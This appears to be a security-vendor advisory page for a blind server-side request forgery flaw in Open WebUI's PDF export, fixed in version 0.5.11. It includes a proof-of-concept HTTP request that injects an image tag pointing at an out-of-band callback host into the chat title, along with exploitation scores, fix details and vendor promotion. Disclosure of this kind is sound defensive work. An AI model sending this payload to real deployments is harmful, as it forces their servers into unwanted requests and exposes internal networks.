GHSA-f776-fp4w-266c is a medium-severity (CVSS 4.3) Server-Side Request Forgery (SSRF) vulnerability in open-webui. O3 Security confirms whether GHSA-f776-fp4w-266c is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Open WebUI vulnerable to blind server side request forgery (SSRF) via the PDF generate function
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-f776-fp4w-266c.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-f776-fp4w-266c plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Blind server side request forgery (SSRF) via the PDF generate function. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details
In the PDF export, user inputs are interpreted as HTML and embedded into the PDF. According to tests, scripts and some potentially dangerous tags (iFrame, Object, etc.) are blocked, preventing server-side content from being read through this vulnerability. However, an image tag can be used to force a server-side request (SSRF), as shown in the following below.
PoC
Start a chat and export the PDF:
Intercept the request and insert an <img> tag into the title:
POST /api/v1/utils/pdf HTTP/2
Host: domain.local
//Some headers removed
Content-Type: application/json
Content-Length: 541
Te: trailers
{"title":"<img src='https://d5jok0s7ghl1p77v5brlqlxwmnsega4z.oastify.com' />","messages":[{"id":"81f24589-384d-431c-a26c-5cd3382ac941","parentId":null,"childrenIds":["0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e"],"role":"user","content":"hallo","timestamp":1736932102,"models":["gpt-4o-POC"]},{"parentId":"81f24589-384d-431c-a26c-5cd3382ac941","id":"0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e","childrenIds":[],"role":"assistant","content":"Hallo! Wie kann ich Ihnen helfen?","model":"gpt-4o-POC","modelName":"gpt-4o-POC","modelIdx":0,"userContext":null,"timestamp":1736932103,"done":true}]}
A HTTPS callback was received at https://d5jok0s7ghl1p77v5brlqlxwmnsega4z.oastify.com.
Impact
A user can force server-side GET requests. During the available testing time, no method was found to read the responses (Blind SSRF). Nonetheless, this should be prevented, as an attacker could enumerate internal assets through response delays and trigger arbitrary GET requests.
Resolution
Fixed in commit 167c8bf00, first released in v0.5.11 (2025-02). The fix wraps every user-controllable field that flows into the PDF HTML template (title, content, role, model, formatted date) in html.escape() before the template f-string is fed to fpdf2.write_html(). The PoC payload <img src='...' /> is escaped to <img src='...' /> and rendered as literal text by fpdf2, with no HTML parsing and no outbound request. Users on >= 0.5.11 are not affected.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.5.11 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update open-webui to 0.5.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f776-fp4w-266c is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-f776-fp4w-266c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-f776-fp4w-266c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-f776-fp4w-266c in your dependencies?
O3 detects GHSA-f776-fp4w-266c across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.